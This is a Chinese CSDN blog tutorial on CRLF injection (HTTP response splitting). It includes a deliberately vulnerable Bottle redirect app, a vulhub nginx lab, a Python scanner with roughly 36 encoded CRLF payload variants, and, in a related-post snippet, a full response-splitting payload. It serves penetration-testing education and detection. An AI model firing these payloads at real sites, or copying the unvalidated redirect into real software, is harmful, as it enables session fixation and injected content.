渗透测试-crlf注入原理

已于 2023-01-20 00:43:17 修改
阅读量2.6k 收藏 6
点赞数 4
分类专栏： 渗透测试 文章标签： 安全性测试 web安全 安全
于 2022-12-16 11:26:54 首次发布
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/lza20001103/article/details/128168036
版权

目录

概念

HTTP报文结构与漏洞原理

漏洞检测

Bottle之CRLF漏洞

nginx配置错误之CRLF漏洞

漏洞危害

会话固定

修复建议

漏洞检测POC

概念

         这个漏洞一般很少出现。  
         CRLF是CR和LF两个字符的拼接，它们分别代表”回车+换行”（\r\n）。十六进制编码分别为0x0d和0x0a，URL编码为%0D和%0A。CR和LF组合在一起即CRLF命令，它表示键盘上的"Enter"键，许多应用程序和网络协议使用这些命令作为分隔符。

  • CR：回车，移动到当前行的开始
  • LF：换行 ，光标垂直移动到下一行

         了解这个漏洞之前我们需先了解HTTP报文结构

HTTP报文结构与漏洞原理

        在http协议中，http header之间用一个CRLF字符序列分割开来，Head与Body之间用两个CRLF分割开，浏览器根据这两个CRLF来取出HTTP内容并显示出来。

      所以如果用户的输入在http返回包的Header处回显，如重定向

我们就可以通过添加一个crlf来提前结束响应头。如?url=https://www.baidu.com%0d%0aSet-Cookie:12345，浏览器识别到其中存在一个CRLF，就会把其后面的数据当做响应头来处理，提前结束响应头

漏洞检测

        如果请求头中输入的某个值在返回包的header处回显，则可以进行测试。在其后面加上%0d%0aSet-Cookie:12345 ,返回包中存在Set-Cookie字段则存在漏洞，如下Bottle的某个版本存在crlf注入漏洞，通过在请求头部添加CRLF，其之后的内容被当做了另一个响应头进行处理

Bottle之CRLF漏洞

Bottle：一个python web框架

crlf.py


    
    
  1. 
      
      
    
       
       
    
      
      
    
      
      
    
       
       
    
        
        import bottle
       
       
    
      
      
  2. 
      
      
    
       
       
    
      
      
    
      
      
    
       
       
    
        
        from bottle 
        
        import route, run, request
       
       
    
      
      
  3. 
      
      
    
       
       
    
      
      
    
      
      
    
       
       
    
        
        @route('/')
       
       
    
      
      
  4. 
      
      
    
       
       
    
      
      
    
      
      
    
       
       
    
        
        def 
        
        index():
       
       
    
      
      
  5. 
      
      
    
       
       
    
      
      
    
      
      
    
       
       
    
        
            crlf_test = request.query.get(
        
        'url', 
        
        '')
       
       
    
      
      
  6. 
      
      
    
       
       
    
      
      
    
      
      
    
       
       
        
        
        return bottle.redirect(crlf_test)
       
       
    
      
      
  7. 
      
      
    
       
       
    
      
      
    
      
      
    
       
       
     
       
       
    
      
      
  8. 
      
      
    
       
       
    
      
      
    
      
      
    
       
       
    
        
        if __name__ == 
        
        '__main__':
       
       
    
      
      
  9. 
      
      
    
       
       
    
      
      
    
      
      
    
       
       
    
        
            bottle.debug(
        
        True)
       
       
    
      
      
  10. 
      
      
    
       
       
    
      
      
    
      
      
    
       
       
    
        
            run(host=
        
        '192.168.60.7', port=
        
        8081)

执行python crlf.py，访问192.168.60.7:8081/?url=https://www.baidu.com，在请求中拼接%0d%0aSet-Cookie:123，返回包中存在Set-Cookie字段

nginx配置错误之CRLF漏洞

使用vulhub的环境，进入/vulhub-master/nginx/insecure-configuration目录，执行docker-compose up -d启动环境

访问8080端口，并添加%0d%0aset-cookie:123

漏洞危害

        根据插入的CRLF的个数不同，可设置任意的响应头，控制响应正文。具体的危害表现在：会话固定、XSS、缓存病毒攻击、日志伪造等等。

会话固定

什么是会话固定，传送门 -》会话固定

       会话固定：用户登录前和登录后，会话ID(cookie)值是一样的。

       如果服务器存在会话固定漏洞，攻击者通过给访问者事先设定一个sessionID值，然后通过各种手段促使受害者使用这个会话ID通过服务器验证，这样攻击者就可以通过这个会话ID进入受害者的账户。

修复建议

1. 过滤CRLF字符以及其他控制字符
2. 用户的输入不对其直接输出

漏洞检测POC

写了一个简单的漏洞检测脚本，payload可以根据需求自行添加


    
    
  1. 
      
      
    
       
       
    
      
      
    
      
      
    
       
       
    
        
        import requests
       
       
    
      
      
  2. 
      
      
    
       
       
    
      
      
    
      
      
    
       
       
    
        
        import argparse
       
       
    
      
      
  3. 
      
      
    
       
       
    
      
      
    
      
      
    
       
       
    
        
        from requests.packages 
        
        import urllib3
       
       
    
      
      
  4. 
      
      
    
       
       
    
      
      
    
      
      
    
       
       
    
        
        urllib3.disable_warnings()
       
       
    
      
      
  5. 
      
      
    
       
       
    
      
      
    
      
      
    
       
       
    
        
        from colorama 
        
        import init
       
       
    
      
      
  6. 
      
      
    
       
       
    
      
      
    
      
      
    
       
       
    
        
        init(autoreset=
        
        True)
       
       
    
      
      
  7. 
      
      
    
       
       
    
      
      
    
      
      
    
       
       
    
        
        header={
       
       
    
      
      
  8. 
      
      
    
       
       
    
      
      
    
      
      
    
       
       
    
        
        'User-Agent': 
        
        'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:78.0) Gecko/20100101 Firefox/78.0'
       
       
    
      
      
  9. 
      
      
    
       
       
    
      
      
    
      
      
    
       
       
    
        
        }
       
       
    
      
      
  10. 
      
      
    
       
       
    
      
      
    
      
      
    
       
       
    
        
        def 
        
        url():
       
       
    
      
      
  11. 
      
      
    
       
       
    
      
      
    
      
      
    
       
       
    
        
        	des=
        
        "CRLF注入漏洞POC"
       
       
    
      
      
  12. 
      
      
    
       
       
    
      
      
    
      
      
    
       
       
    
        
        	parser = argparse.ArgumentParser(description=des)
       
       
    
      
      
  13. 
      
      
    
       
       
    
      
      
    
      
      
    
       
       
    
        
        	parser.add_argument(
        
        '--target_url',
        
        type=
        
        str,
        
        help=
        
        'The target address,example: http://192.168.140.153:8081')
       
       
    
      
      
  14. 
      
      
    
       
       
    
      
      
    
      
      
    
       
       
    
        
        	args = parser.parse_args() 
       
       
    
      
      
  15. 
      
      
    
       
       
    
      
      
    
      
      
    
       
       
    
        
        	target_url = args.target_url
       
       
    
      
      
  16. 
      
      
    
       
       
    
      
      
    
      
      
    
       
       
    	
        
        print(
        
        "[-]CRLF注入漏洞POC")
       
       
    
      
      
  17. 
      
      
    
       
       
    
      
      
    
      
      
    
       
       
    	
        
        print(
        
        "[-]正在执行检测...")
       
       
    
      
      
  18. 
      
      
    
       
       
    
      
      
    
      
      
    
       
       
    	
        
        print(
        
        "[-]目标地址:",target_url)
       
       
    
      
      
  19. 
      
      
    
       
       
    
      
      
    
      
      
    
       
       
    	
        
        return target_url
       
       
    
      
      
  20. 
      
      
    
       
       
    
      
      
    
      
      
    
       
       
    
        
        def 
        
        check(
        
        target_url):
       
       
    
      
      
  21. 
      
      
    
       
       
    
      
      
    
      
      
    
       
       
    
        
        	payload=[
        
        '%E5%98%8A%E5%98%8D%0D%0Aheader:header',
        
        '%E5%98%8A%E5%98%8D%0Dheader:header',
        
        '%E5%98%8A%E5%98%8D%0Aheader:header',
        
        '%E5%98%8A%E5%98%8Dheader:header',
        
        '%5cr%5cnheader:header',
        
        '%3F%0D%0Aheader:header',
        
        '%3F%0Aheader:header',
        
        '%23%OAheader:header',
        
        '%23%0D%0Aheader:header',
        
        '%23%0Aheader:header',
        
        '%20%0D%0Aheader:header',
        
        '%20%0Dheader:header',
        
        '%20%0Aheader:header',
        
        '%0D%20header:header',
        
        '%0D%0A%20header:header',
        
        '%0D%0A%09header:header',
        
        '%0aheader:header',
        
        '%0d%0aheader:header', 
        
        '/%0d%0aheader:header',
        
        '/?url=https://www.baidu.com%0d%0aheader:header',
        
        '/?id=%0d%0aheader:header',
        
        '?url=%0d%0aheader:header',
        
        '?id=%0d%0aheader:header',
        
        '%0aheader:header', 
        
        '%0dheader:header', 
        
        '%23%0dheader:header', 
        
        '%3f%0dheader:header', 
        
        '/%250aheader:header', 
        
        '/%25250aheader:header', 
        
        '/%%0a0aheader:header', 
        
        '/%3f%0dheader:header', 
        
        '/%23%0dheader:header', 
        
        '/%25%30aheader:header', 
        
        '/%25%30%61header:header', 
        
        '/%u000aheader:header', 
        
        '/www.baidu.com/%2f%2e%2e%0d%0aheader:header']
       
       
    
      
      
  22. 
      
      
    
       
       
    
      
      
    
      
      
    
       
       
    
        
        	result = 
        
        False
       
       
    
      
      
  23. 
      
      
    
       
       
    
      
      
    
      
      
    
       
       
    	
        
        for i 
        
        in payload:
       
       
    
      
      
  24. 
      
      
    
       
       
    
      
      
    
      
      
    
       
       
    
        
        		url = target_url + i
       
       
    
      
      
  25. 
      
      
    
       
       
    
      
      
    
      
      
    
       
       
    		
        
        #print(url)
       
       
    
      
      
  26. 
      
      
    
       
       
    
      
      
    
      
      
    
       
       
    		
        
        try:
       
       
    
      
      
  27. 
      
      
    
       
       
    
      
      
    
      
      
    
       
       
    
        
        			headers = requests.get(url=url,headers=header,allow_redirects=
        
        False,verify=
        
        False,timeout=
        
        4).headers
       
       
    
      
      
  28. 
      
      
    
       
       
    
      
      
    
      
      
    
       
       
    			
        
        #print(headers)
       
       
    
      
      
  29. 
      
      
    
       
       
    
      
      
    
      
      
    
       
       
    			
        
        if 
        
        'header' 
        
        in 
        
        list(headers):
       
       
    
      
      
  30. 
      
      
    
       
       
    
      
      
    
      
      
    
       
       
    				
        
        print(
        
        '\033[0;31m[+]漏洞存在\033[0m')
       
       
    
      
      
  31. 
      
      
    
       
       
    
      
      
    
      
      
    
       
       
    
        
        				result = 
        
        True
       
       
    
      
      
  32. 
      
      
    
       
       
    
      
      
    
      
      
    
       
       
    				
        
        return 
        
        True
       
       
    
      
      
  33. 
      
      
    
       
       
    
      
      
    
      
      
    
       
       
    				
        
        break
       
       
    
      
      
  34. 
      
      
    
       
       
    
      
      
    
      
      
    
       
       
    		
        
        except:
       
       
    
      
      
  35. 
      
      
    
       
       
    
      
      
    
      
      
    
       
       
    			
        
        pass
       
       
    
      
      
  36. 
      
      
    
       
       
    
      
      
    
      
      
    
       
       
    		
       
       
    
      
      
  37. 
      
      
    
       
       
    
      
      
    
      
      
    
       
       
     
       
       
    
      
      
  38. 
      
      
    
       
       
    
      
      
    
      
      
    
       
       
    	
        
        if 
        
        not result:
       
       
    
      
      
  39. 
      
      
    
       
       
    
      
      
    
      
      
    
       
       
    		
        
        print(
        
        '\033[0;32m[+]漏洞不存在\033[0m')
       
       
    
      
      
  40. 
      
      
    
       
       
    
      
      
    
      
      
    
       
       
     
       
       
    
      
      
  41. 
      
      
    
       
       
    
      
      
    
      
      
    
       
       
    
        
        if __name__ == 
        
        '__main__':
       
       
    
      
      
  42. 
      
      
    
       
       
    
      
      
    
      
      
    
       
       
    
        
        	target_url = url()
       
       
    
      
      
  43. 
      
      
    
       
       
    
      
      
    
      
      
    
       
       
    
        
        	check(target_url)

里面有几个小的知识点，因为crlf一般发生在重定向的地方，脚本中在请求一个url的时候会发出两个请求包，第一个是为301重定向的数据包，第二个是访问重定向后的url，而脚本输出请求url的返回的数据的时候只会输出第二个数据包，这里就需用在requests.get中添加allow_redirects=False，禁止访问重定向的url，这样我们就能查看第一个url的返回信息。还有就是requests在访问某个url异常即没有反应的时候会抛出异常然后程序停止，然而我们脚本中需要在url中拼接一个个payload进行访问，每个拼接后的url都要求访问然后查看返回的数据，不能让程序停止，所以要添加try，except:pass，让请求url错误的时候也不会停止程序的运行。

炫彩@之星
关注
  • 4
    点赞
  • 踩
  • 6
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 4
    评论
专栏目录
CRLF注入原理
墨痕诉清风的博客
12-02 3111
CRLF 指的是回车符(CR，ASCII 13，\r，%0d) 和换行符(LF，ASCII 10，\n，%0a)，操作系统就是根据这个标识来进行换行的，你在键盘输入回车键就是输出这个字符，只不过win和linux系统采用的标识不一样而已。
web安全渗透测试十大常规项（一）：web渗透测试之MySQL注入
HACKONE的博客
03-12 1419
渗透测试之SQL注入基础SQL注入类型按照数据类型类型来分类按照执行效果来分类(页面回显效果)按照数据提交的方式来分类判断注入类型的方法MySQL注入基础联合查询注入布尔注入时间盲注注入报错注入宽字节注入二次注入偏移注入DNSlog注入注入写webshellSQL注入绕过空格绕过（过滤空过）关键字过滤SQL注入绕WAF SQL注入类型 按照数据类型类型来分类 数字型注入点 在 Web 端大概是 http://xxx.com/news.php?id=1 这种形式，其注入点 id 类型为数字，所以叫数字型注
CRLF注入（HTTP响应拆分-截断），2024大厂网络安全面试经历
m0_60388292的博客
04-17 824
利用docker搭建vulhub靶场，进入。
CRLF、CSRF、SSRF攻击与利用
kali_Ma的博客
08-20 1081
前言 本文叙述了crlf、csrf和ssrf的原理、攻击利用和一些绕过方法，作为个人笔记，内容可能不全面，日后有接触新的方法会更新。 CRLF 原理 这个漏洞名词来源于打印机，在计算机中表示一行的结束： 回车=CR=\r=%0d=Ascii(13)=Ascii_16(0D) 换行=LF=\n=%0aAscii(10)=Ascii_16(0A) 在不同操作系统中表示行结束的方法也不相同： Windows：CRLF Linux/Unix：LF Mac：老版本用CR，新版用LF 在http头的规范中是以C
AI问答：理解CRLF和LF / 两者区别 / 在编程和文件处理中的影响
最新发布
snowball的博客
07-31 677
CRLF和LF是文本处理中用于表示换行的两种不同方式，它们之间的主要区别在于表示方式（CRLF使用\r\n，LF使用\n）和历史背景（CRLF起源于早期打字机，LF是Unix/Linux系统的选择）。在编程和文件处理中，了解这两种换行符的差异和影响是非常重要的，以确保文件的正确性和一致性。：起源于早期的打字机和电传打字机，这些设备在打印完一行后，需要先将打印头移回到行首（回车），然后再移动到下一行（换行）。vscode这里的CRLF，点击后有CRLF和LF的两个选项，本文我们理解CRLF 和 LF。
Web渗透（一）CRLF注入简介
weixin_39157582的博客
08-21 6357
CRLF注入简介1、基础知识2、原理分析3、漏洞挖掘4、防御手段5、CRLF Payload: 1、基础知识 HTTP报文结构 从上图可以看到：HTTP报文由三部分组成：状态行、首部、主体。 可以看到状态行和首部中的每行都是以回车符（\r，%0d，CR）和换行符（\n，%0a，LF）结束。 十六进制编码分别为0x0d和0x0a，URL编码为%0D和%0A 这是因为HTTP规范中行应该使用CRLF结束。另外，首部和主体由两个CRLF分隔。 2、原理分析 CRLF是 “ 回车+换行 ”（\r\n）的简称。
crlf注入原理
越努力 越自由
03-04 4848
一. 概念 这个漏洞一般很少出现。 CRLF是CR和LF两个字符的拼接，它们分别代表”回车+换行”（\r\n）。十六进制编码分别为0x0d和0x0a，URL编码为%0D和%0A。CR和LF组合在一起即CRLF命令，它表示键盘上的"Enter"键，许多应用程序和网络协议使用这些命令作为分隔符。 CR：回车，移动到当前行的开始 LF：换行 ，光标垂直移动到下一行 了解这个漏洞之前我们需先了解HTTP报文结构 二. HTTP报文结构与漏洞原理 ...
CRLF注入与检测
无痕的博客
01-03 2230
CRLF注入漏洞的介绍与检测
细看CRLF注入***的原理和其防范措施
weixin_34257076的博客
08-17 131
细看crlf注入***的原理和其防范措施 -------------------------------------------------------------------------------- crlf注入***并没有像其它类型的***那样著名。但是，当对有安全漏洞的应用程序实施crlf注入***时，这种***对于***者同样有效，并且对用户造成极大...
CRLF注入漏洞原理
yggcwhat
01-15 607
目录 漏洞原理 换行符、回车符 漏洞环境搭建 漏洞利用讲解 修改会话值 其他漏洞 反射形xss 漏洞加固 参考链接 漏洞原理  CRLF注入漏洞又称HTTP响应拆分漏洞（HTTP Response Splitting），攻击方式是将回车符、换行符注入到HTTP的响应包中。   HTTP响应包通常以两个换行符，去划分响应头与响应正文两个部分。当用户的操作足以控制响应头的内容时，将会出现CRLF漏洞。 换行符、回车符 回车符(CR，ASCII 13，\r，%0
红队专题-Web安全/渗透测试-注入攻击
aming小老弟
10-27 179
Sql Inject(SQL注入)概述 哦,SQL注入漏洞，可怕的漏洞。在owasp发布的top10排行榜里，注入漏洞一直是危害排名第一的漏洞， 其中注入漏洞里面首当其冲的就是数据库注入漏洞。一个严重的SQL注入漏洞，可能会直接导致一家公司破产！SQL注入漏洞主要形成的原因是在数据交互中，前端的数据传入到后台处理时，没有做严格的判断，导致其传入的“数据”拼接到SQL语句中后，被当作SQL语句的一部分执行。从而导致数据库受损（被脱裤、被删除、甚至整个服务器权限沦陷）。
Web渗透测试-实战 方法 思路 总结
m0_55595611的博客
02-21 9431
尽可能的搜集目标的信息 端口信息 DNS信息 员工邮箱 信息搜集的分类 1、主动式信息搜集（可获取到的信息较多，但易被目标发现） 2、通过直接发起与被测目标网络之间的互动来获取相关信息，如通过Nmap扫描目标系统。 3、被动式信息搜集（搜集到的信息较少，但不易被发现） 4、通过第三方服务来获取目标网络相关信息。如通过搜索引擎方式来搜集信息。 搜索引擎 Google hacking 常用搜索语法： intitle:KEYWORD //搜索网页标题中含有关键词的网页 intext:KEYWORD //搜索站
2021最新渗透测试面试题合集.pdf
06-02
同时，了解如何利用宽字符注入漏洞、CRLF注入的原理，以及如何构造payload进行攻击也是必要的。 最后，面试题目可能还会包括一些关于安全意识和最佳实践的问题，例如为什么有些情况下不显示错误回显、如何防范SQL...
渗透测试面试题--日更（1-9day）
IerkeU的博客
02-28 7946
day-one 1、拿到一个待检测的web站，渗透测试思路？ 答： （1）信息收集 获取域名的whois信息，获取注册者的邮箱姓名电话等 查服务器的旁站以及子域名站点，因为主站一般比较难，所以可以先看看旁站有没有通用cms或者其他漏洞 查看服务器操作系统版本，web中间件，看看是否存在已知漏洞 查看IP，进行IP地址的全面扫描，对响应端口进行漏洞探测 （2）漏洞扫描：开始检测漏洞，例如XSS，XSRF，SQL注入，命令执行，越权访问，暴力破解… （3）漏洞利用：利益扫描到的漏洞拿到webshell或者其
Web Hacking 101 中文版 七、CRLF 注入
热门推荐
龙哥盟
03-23 3万+
七、CRLF 注入 作者：Peter Yaworski 译者：飞龙 协议：CC BY-NC-SA 4.0 CRLF 注入是一类漏洞，在用户设法向应用插入 CRLF 时出现。在多种互联网协议中，包括 HTML，CRLF 字符表示了行的末尾，通常表示为\r\n，编码后是%0D%0A。在和 HTTP 请求或响应头组合时，这可以用于表示一行的结束，并且可能导致不同的漏洞，包括 HTT
CRLF注入（HTTP响应拆分-截断）
m0_51468027的博客
03-27 4159
2023年HW厂商斗象面试题——CRLF注入
CRLF注入攻击原理和防范措施
lgdbk的专栏
06-19 906
CRLF注入攻击并没有像其它类型的攻击那样著名。但是，当对有安全漏洞的应用程序实施CRLF注入攻击时，这种攻击对于攻击者同样有效，并且对用户造成极大的破坏。让我们看看这些应用程序攻击是如何实施的和你能够采取什么措施保护你的机构。 CRLF的含义是“carriage return/line feed”，意思就是回车。这是两个ASCII字符，分别排在第十三和第十位。CR和LF是在计算机终端还是电传
CRLF注入
weixin_30496751的博客
08-21 77
%0d%0a 返回包 转载于:https://www.cnblogs.com/0x03/p/7404697.html
crlf注入漏洞复现
08-09
CRLF注入漏洞是一种常见的网络安全漏洞，它在代码中未对输入进行正确的过滤和验证，导致攻击者可以利用换行符（CRLF：Carriage Return Line Feed）来执行恶意代码或实施其他攻击。 要复现CRLF注入漏洞，首先需要找到存在漏洞的应用程序。这些应用程序通常会接收用户的输入，并在服务器上生成响应，而在生成响应时未能很好地处理输入的换行符。 我们可以通过使用一个简单的示例来演示CRLF注入漏洞的复现。假设我们有一个简单的表单，允许用户提交评论，并在页面上显示评论内容，我们可以通过评论框中的输入来复现漏洞。 首先，我们在评论框中输入以下内容： ``` 本次评论测试漏洞%0D%0AContent-Length: 0%0D%0A%0D%0AHTTP/1.1 200 OK%0D%0AContent-Type: text/html%0D%0A%0D%0A<html><body>Hacked!</body></html> ``` 在上述输入中，`%0D%0A`表示换行符。我们在注入的内容中使用了换行符，然后添加了一些伪造的HTTP响应头，包括`Content-Length: 0`和`HTTP/1.1 200 OK`。最后，我们添加了一个简单的HTML页面。 当我们提交评论后，应用程序未能正确处理换行符，导致我们的注入成功。服务器在生成响应时，将我们注入的内容也作为响应头部分显示出来。 这样，我们就成功利用CRLF注入漏洞，并在生成的页面上显示了我们的内容。 为了防止CRLF注入漏洞，开发者应该对用户的输入进行正确的过滤和验证。在处理用户的输入时，应该移除或转义包含换行符的内容，以防止攻击者注入恶意内容并执行攻击。
评论 4
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

炫彩@之星

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付：¥1
获取中
扫码支付

您的余额不足，请更换扫码支付或充值

打赏作者

实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值